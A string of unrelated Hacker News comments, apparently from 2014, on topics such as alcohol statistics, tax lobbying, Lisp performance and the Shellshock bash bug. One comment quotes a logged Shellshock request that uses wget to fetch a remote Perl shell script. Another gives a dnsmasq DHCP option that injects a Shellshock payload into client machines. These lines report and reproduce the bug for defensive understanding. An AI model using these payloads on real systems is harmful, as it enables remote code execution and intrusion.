skysight-inc/HackerNews huggingface dataset:
No issues on firefox running on xubuntu.

Firefox V. 26.0

Ubuntu 13.04

It was actually very pleasurable as the pictures on the sides would change and the occasional full screen pictures. It's a shame it's such a pain to develop cross browser cross platform modern websites. This one was done well where it works.
Or else they're making such a fuss specifically to help sell the supposed effectiveness.
It tricked down to Ubuntu just now:
http://www.ubuntu.com/usn/usn-2363-1/
Lyft, Sidecar, and Uber Cease and Desist
According to rumors overheard, Lyft Sidecar and Uber received Cease and Desist letters.
> They spend millions of dollars a year lobbying to keep the tax system complex.

Not exactly. It wouldn't cost as much as Intuit spends on lobbying to keep the system overly complex. But Intuit doesn't want the tax code to get so complex that people are forced to seek outside help (yes, they make money from Lacerte and the rest of their Pro Tax division, but not as much as they do from TurboTax). And yet they don't want it to be so simple that you can do it on your own. They're seeking that perfect middle where you feel comfortable using software to prepare your taxes. It's a tenuous balance to maintain and why they have to spend so much on lobbying.
If PassengerLoadShellEnvvars is set to 'no' or the login shell is not bash (or sh) would this analysis apply? The documentation and code seem to say that bash would not be used for spawning in these two configurations.

There is no link given to the Debian 7 patch for CVE-2014-7169, is there actually such a thing?
Show HN: MyNews.is for iPhone
The following is a troublesome statement to me about pot that I didn't know until now:

"Smoking marijuana is more dangerous than smoking cigarettes, experts say. The tar in joints contains a much higher concentration of the chemicals linked to lung cancer compared with tobacco tar. And smoking marijuana deposits four times more tar in the lungs than smoking an equivalent amount of tobacco, according to the National Institute on Drug Abuse."

http://www.cnn.com/2014/01/20/health/marijuana-versus-alcoho...
The behavior of the top decile is confusing as it's laid out presently. If the it's possible that the top 99th percentile drinks on average 16 drinks per night which would make it possible for the 91st decile drinking only 4 drinks per night and still get the results shown in the graph. My bet is that the data here is getting heavily skewed by a subset of alcoholics at the top end.
Well, yes. If you were going to exploit CGI scripts you'd likely use wget or curl instead of coding an HTTP client from scratch so why is this suprising?
I wouldn't consider the practice of using graphite brushes in DC motors as planned obsolescence. It's more like best tool for the job, with a limited lifetime by its very nature.
There are all these cases today of sizable percentages of the population being pre-dispositioned to do things that currently make no sense. ADHD is one. Is ADHD a defect? Or an adaptive response that is no longer needed? Or just a different kind of personality maturation pattern?

Perhaps heavy alcohol inebriation was needed when you worked 35 years barely staying alive, then died of measels. Perhaps it's part of intelligence -- some addiction researchers are now saying that addicts are actually "over-learning" the stimulus-response associated with drinking.

Like I said, beats me. But it is fascinating -- even more so if there is 10% of the population who are adults and presumably mostly feel they have no problem while the rest of us think they do. Obesity is developing along similar lines -- except the 10 percent are going to end up being the folks who aren't fat!

Personal anecdotes are great, and I congratulate anybody on overcoming something that they've identified as a problem. But when we're talking 10 percent of the population? There's something else at work here; something that has developed over eons across populations worldwide. Fascinating stuff.
Yeah, I don't think anyone has grasped the extent of how dangerous this vuln is -- was it released a little prematurely? is it still in "embargo"?

This is hundreds of times worse than heartbleed in terms of scope/attack surface for modern servers... (I say hundreds of times worse because heartbleed was scrape-some-data-till-you-get-private-keys-and-watch-communication, where this is just get-yourself-a-shell-and-pwn-the-machine)
Stop pulling BS out of your ass and provide a source for your first claim, please?
Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established:

Request of file: /cgi-sys/defaultwebpage.cgi
With wget downloading a perl script to launch a shell:
() { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22

That site is still up and serving right now if anyone wants to take a look.
The government currently kills people as part of exercising its policing powers, which most people agree are overly aggressively used.

If this lowers that rate, it's possible that the difference in beatings, shootings, and home invasions will be basically even, because there isn't a large portion of the criminal element which is waiting for better encrypted cellphones to do these things (hint: other things about cellphones make these problematic, and most depend on other evidence anyway when prosecuted), where there is a reason to think that police being restrained in using illegal investigation methods will decrease the rate at which police use other illegal investigation methods.
dhclient is a binary on Linux and OpenBSD.

It calls shell scripts, because, like I said in the comment you replied to, sometimes sysadmins need very specific things to happen when the machine gets a DHCP lease.
Yeah, the politics is about giving a good show )
Looks like the answer is "not currently". Sorry :(.
Could be the difference between the definition of "a drink" and what we colloquially call a drink. For example a glass of wine contains 8 "drinks", but none of us would say that. There are like 4 or 5 glasses of wine in a bottle.
If I had a pet dragon, I could fly to Europe without paying the airlines.

Clearly, it's reasonable for people not to expect to have to pay airlines for travel to Europe.
Nice work! Seems like it extends fine to AVX2 for doing 8 divides at a time in less than 1 cycle per division if for some reason you need to divide a whole array by the same constant. Though rare, this is impressive considering the tradition of expensive division.

I don't know if you will have a domain penalty for the vshufps, but I think the answer is yes, and that the blend would be better. The blend can also run on p015, versus only p5 for the shufps, so it might pipeline better. I hadn't realized until now that vshufps had different semantics than vpshufd and is able to combine from two different registers. If there is no penalty, this could be quite a useful instruction.

Any reason for using 'w' for your 32-bit elements rather than 'd' for double-word as used in the instruction names?
NetBSD is one thing, but I still can't get over running http://www.raspberrypi.org/risc-os-for-raspberry-pi/

Having grown up with those machines suddenly finding a tiny board that costs $30 which runs this better than any of the desktops ever did . . . mind blowing.
The article is misleading. You don't need to drink 74 drinks per week to be in the top 10 percentile. 74 drinks is the average of all those in the top 10 percentile and not the lower boundary.
Dr. Jarin, the American Heart Association has a slightly different take on alcohol consumption. For starters they recommend that women do not exceed 1 drink per day. Most importantly they do not seem to think that abstaining from alcohol is considered a risk factor:

> How alcohol or wine affects cardiovascular risk merits
> further research but right now the American Heart Association
> does not recommend drinking wine or any other form of alcohol
> to gain these potential benefits

http://www.heart.org/HEARTORG/GettingHealthy/NutritionCenter...
If I used a locksmith to get in to your house without your permission, it would be "breaking in" in colloquial language.

Your reply is overly pedantic, when taken in the best light.
No issues with my mouse with a regular scroll-wheel or my Magic Trackpad (god that's a dumb name) in Firefox 32 on OS X.
well, nothing can beat that for sure.
Terror laws clear Australian Senate, enabling entire web to be monitored
Why did the quotes show up?
The Opposite of Icarus
It's a little surprising because I'm tempted to classify this one as 'requires 0 lines of code'.
That would seem to be effective, but if they get your phone while the partition is unlocked, you lose.
Technically this sounds really impressive, but I'm a bit confused by that choice of demo. I'm not sure if I'm missing something but I basically got a question posed by the computer with no context - so it could just be precanned, and the rest of the time was just the kid talking.

If the system can reply to that in a smart and in character way then that's incredible but that demo just doesn't show anything they talked about.

On the other hand their character voicing sessions are the best example of do things that don't scale I've heard of. :)
For anyone landing here, mdeslaur and the Ubuntu team has now released a patch for CVE-2014-7169.

http://www.ubuntu.com/usn/usn-2363-1/
Would love an invite, aharonovich(at)gmail, thanks :-)
Tutorbook.wapka.me
Does anyone know if non-Stanford students can drop in or is this for students only?
I'm loving these. How many lectures will there be in total?
Thank you for recommending the book. Looks like a must-read for me.
It would not ever occur to me to try to 'promote' a developer to PM; it's not a promotion, it's not a normal career path, and most people wouldn't even want to do it. If it appeals to you, let your manager know.
T. Rex Might Be the Thing with Feathers (2013)
Debian stable is out as well.
What DHCP service is this and how do I tell if I'm using it?
What law is Google breaking here exactly?
> 1. Anecdotally, is anybody else having this reaction?

How do you define "one drink"? One serving? Or some measured amount of alcohol?

England has a public health measure of "units of alcohol" - 10 ml of pure alcohol.

With metric it's easy to convert. Serving size in litres * Alcohol by volume.

Thus, a 330 ml bottle of beer at 5% is about 1.65 units.

A bottle of wine at 12% would be 9 units (for a 0.75 l bottle)

A litre of vodka at 40% would be 40 units.

10 drinks a day seems high, even if we use this small "unit" figure for alcohol. That's EDIT 2 litres of alcohol per week; more than a bottle of wine every day; more than a lot of beer every day.
Come visit Australia to see a real history of drinking. The British colonists ran out of pound notes, and chose rum as the national currency. Then an argument about distilling rights led to a coup d'etat.
That is one of my weakness. I just can't tell people I'm great at what I do or even I'm good. I always feel others are way better than me and always seem to find some fault within me.
I always listen more and talk less. When someone has Ideas I respect them and I dnt try to come up with anything because I think I might hurt them or they might feel bad.
Clarification: InfluxDB only crashed on me when I requested a lot of data without chunking. With chunking I didn't have any problems.

I like InfluxDB and still use it.
I reproduced it with dnsmasq as well; just set up a server with the following options. eth2 is the network adapter that I was using for the test network, and I picked the 10.0.10.0/24 prefix for this particular network.

interface=eth2
dhcp-range=10.0.1.100,10.0.10.200,12h
dhcp-option-force=114,() { :; }; echo "hi"

Then on the target system (an Ubuntu system using ifupdown for configuration), I just configured eth0 for dhcp:

iface eth0 inet dhcp

and ran:

sudo ifdown eth0 && sudo ifup eth0

Unlike some of the other exploits, this one affects Debian and Ubuntu. Debian and Ubuntu use dash as /bin/sh, so many things that just use /bin/sh (such as the system() function, lots of shell scripts, etc) aren't affected like they are on other Linux distros.

But dhclient calls dhclient-script to execute various hook scripts, and dhclient-script uses #!/bin/bash and is thus vulnerable.

On my particular Debian system, it doesn't look like NetworkManager based DHCP is affected, as it doesn't call the dhclient-script. It does call various scripts in /etc/network/if-*.d/, but none of the ones that I have installed use bash, they all use sh. However, if I deliberately put a bash script in there, and attach it to the network with the rogue DHCP server, it does get passed the bad environment variable (though on my Debian system I've already updated Bash so I just get the error message rather than the exploit).

So yeah, there are a a lot of ways for a stray Bash script to cause problems here.
An MVP by definition is the very base point that you can convince people to buy your wares. Whatever form that takes will depend on you and your market. The point is to get whatever you have up there in your head and put it out into the world; who cares what that looks like. Landing pages are so popular because it's the path of least resistance in getting your idea in front of a sizable audience. Going straight to a working prototype for your MVP without hitting the landing page or comparable stage first sort of misses the mark on what an MVP is all about.

Instead of thinking of an MVP as a single _thing_, we just made things easy and called everything we did our "MVP" until we started doing recurring sales.
Stripe is so popular with developers because they are laser-focused on providing an excellent experience for the developers. This includes personally responding to every single HN post about Stripe I've ever seen.
I'm planing to regularly come up with suggestions, options and my thoughts in meetings. May be that would be a starting point ?
Sorry for the late reply:

> 30 minutes doesn't seem nearly sufficient to reliably verify someone's identity.

It's actually not that long of a process once you read over the CPS's of a few CAs and the EV baseline.

> How do we know?
Ah, the golden question! Hopefully CT (certificate transparency) will sort this out within the next 3 years. My statement is an assumption but any high level fraud (e.g. Google/MSFT) is caught immediately (chrome pinning/reporting and internal CA logs, if you're not DigiNotar). I don't know about small companies though.

I don't think there's ever been a maliciously issued EV cert in the context of the ComodoHacker and other very public hacks. They typically have tighter internal controls, that I know (e.g. RAs have very limited EV issuance power) but I have no numbers. :(

You should note that EV implies DV validation, so to, without hacking, maliciously issue a certificate an attacker would probably settle for a DV cert.
Might be a case of http://tvtropes.org/pmwiki/pmwiki.php/Main/EveryoneIsJesusIn...
It seems 20.

http://startupclass.samaltman.com/
It doesn't solve the original problem as it is stated, but it still solves the original problem. 99.99999% of Firefox users will never look at its source code, they just trust the Mozilla brand.
20 - http://startupclass.samaltman.com
The lecture hall seats are for enrolled Stanford students only.
I wouldn't be interested to be a full time manager but I'd surely like to see the team better managed, right tools used, development done in a better process and follow standards.
http://pmarcatweetsasblogposts.tumblr.com/
Still, why is it glued at all?
"An army of words escorting a corporal of thought"
Another interesting historical comparison is that for much of the history of civilization, drinking water was mostly contaminated and unsafe to drink. So people drank beer and wine instead. Granted, most of the time it was watered wine or "small" beer, but yeah, most people must have been somewhat buzzed all the time.

I read a book about John Wilkes, the 18th century English politician, and apparently it was not uncommon for people in those circles to drink four or five bottles of wine a day... Ben Franklin was another famous lush, as was Winston Churchill.

There's a lot of bizarre puritanism going on in American culture these days...
Of course they're shy of you going through their photos. They know you personally, and you are a person, not an algorithm. Whilst it is possible that a person may go through their photos as part of mass surveillance operations, they believe it's unlikely to happen.

Your second point is true only if the access mechanism is reliant on weak security. It doesn't have to be.
We've had all the same (bans and minimal price per unit of alcohol) in Russia for ages and it doesn't really change much.
I firmly went the other way a few years back, and haven't regretted it. Looking at this how-to, I have no real urge to back, though it is a good writeup.
The docs are way, way better than a year or so ago, but I agree, they always need improvement.

The only thing that may hold back some people is that the documentation is generated from the source with doc comments rather than being in separate files.
Thank you for that blog post. I managed to retrieve some of them and add a few attack vectors to my checklist: https://jve.linuxwall.info/blog/index.php?post/2014/09/25/Sh...

If you find any more of them, do you think you could publish their checksums?
In your opinion, what is the difference between php blindly passing unsanitized user input onwards to bash, and apache blindly passing unsanitized user input onwards to php?

Furthermore, in the sample attacks the php scripts don't 'use' that user input in any way; bash gets them because, well, it shares the same environment and its variables. If you'd want a php script 'sanitizing' those variables then it would mean checking for any possible HTTP_ environment variables and explicitly altering them even if the script doesn't recognize them - which seems ridiculous as well.
> What did you think was particularly faster than SBCL?

Haskell, Scala, Java, Go and of course C, C++, Fortran all outperform SBCL in the alioth benchmarks.

Against the schemes, lisps, and "scripting" languages though SBCL stacks up favorably. I didn't notice that krig's comment was mainly comparing SBCL to this latter category ("programming language implementations").
This is an absolutely ridiculous way to communicate.
Euro chiefs: Hi Google. Here's how to REALLY protect everyone's privacy
I'd say those numbers you link to are pretty amazing for a garbage collected language. Compared to Java, SBCL is roughly on par, with some benchmarks 2-3x slower and some 2-3x faster.

edit: To clarify, I'm not saying SBCL makes Common Lisp the fastest language (I don't even think that's a meaningful statement). But to be within 2-3x of the JVM or C (and even outperforming C in some scenarios) certainly puts SBCL among the fastest language implementations. All the other ones you mention (C, C++, Go, Java..) are indeed also among the fastest. :)
I'd hesitate to call Negroni a framework. In fact, from Negroni's readme:

> Negroni is not a framework. It is a library that is designed to work directly with net/http.
Note newer versions of coreutils will have links in the man pages directly to online manuals through http://www.gnu.org/s/coreutils/ls etc.

BTW the coreutils man pages are a subset of the full manual, and I think that adding more information to man pages can make things harder to find.

The thinking at present is that linking directly to a web page for the full manual is what most users would prefer.
Apple, Google, EFF, and lots of others disagree with you. The right to use legally available tools to protect our privacy is just as valid and important as the right of the government to prosecute wrongdoers.
1. Yes, it seems astonishingly high. Montaigne mentions some acquaintance who drank just an astonishing amount (five liters?), but who knows who strong the French wine of that day was?
2. No.
3. No.
I got an invite to Ingress pretty early on, played heavily for several months then dropped it completely. I never got into the lore and didn't particularly care for bar-hopping meetups. As a game it felt really uneven, free to enact sudden changes in some areas but leave others frustratingly untouched.

Seems pretty polarizing though, among the people I played with many stopped playing long ago while others remain completely immersed.

At the moment, I'm more interested in what Google is/was getting out of it? I haven't kept up, but I can imagine all sorts of interesting data that the game could generate from the obvious cataloging of landmarks to path finding or network effects in the distribution of invites and codes.

I can't help but wonder if this feature is a move toward putting the game out to pasture in a way by putting content generation in the hands of the players.
It is not the recommended amount of alcohol.

Please do not mix the serving sizes people use with "one drink". You have no idea how much wine goes into the glass, not the strength of that wine.

A standard drink of wine is 125 ml at an ABV (alcohol by volume) of 8%.

Most people pour more than that, and most wine is stronger than that. 175 ml at 12% would be 2 units; 2 glasses of that is 4 units. See how easy it is to drink double the recommended limit?
I don't think it says that. The author points out that upon entering the top 10 percentile, "you'd still be below-average among those top 10 percenters." PS. Send my regards to Watson!
As the other two comments have pointed out, craft brewers are starting to make "session" brews that are lower alcohol in general, including "session IPAs" which are hoppier than normal low-alcohol beers but are still closer to 5% than 9%.
Good. Attempting to copy or concatenate a too long string is indicative of a logic bug. If it really bothers you, use _set_invalid_parameter_handler to change the behavior to something you can recover from.
Permits would cost up to $1,500, even if someone was taking photos or video with their phone, and fines for shooting without a permit could be as high as $1,000

Wouldn't it be cheaper to just risk the possibility of a $1000 fine for shooting without a permit than to get a $1500 permit upfront?
It's important to know that there are alternative ways to consume cannabis. One is to ingest it (which may not be as convenient as smoking), an other one is vaporization. Vaporization offers a very similar experience to smoking without the health risks associated with combustion (it's still not known if it's totally safe though).

One thing we can expect with legalization is that consumers will be better informed about those alternatives.
In this case the medium fits the message
In England medically assisted withdrawal is available if you drink over forty units per day.

One unit is 10 ml pure alcohol. To find the unit qty you multiply the serving size in litres by the alcohol by volume figure.

One litre of spirits at 40% abv is 40 units.
Yeah, it's "Reddit Is Fun" (my favorite reddit app I've used)

https://play.google.com/store/apps/details?id=com.andrewshu....
If a group of terrorists develop the capability to kill 10,000 children a week, they are probably in league with the same US government.

Just a question, why would the terrorists be targeting children in particular? Why not a mix of infants, children, adults, and elderly people? Your scum-sucking interest in over-reaching government intrusiveness is leading you to come up with demented and perverse scenarios focused on children.

Dude clean up your mind.
> This is a controversial opinion, but I am actually of the view that SSL is structurally unworkable against nation-state-level adversaries.

It's not a controversial opinion at all... it's a well known fact. Something that relies on you trusting corporations which are known to answer to their government's gag orders is broken from the get go.

Still, TLS is a great tool if you're not an enemy of the NSA. Security is a game of expectations, remember.
Managing a Nightmare: CIA Reveals How It Watched Over Destruction of Gary Webb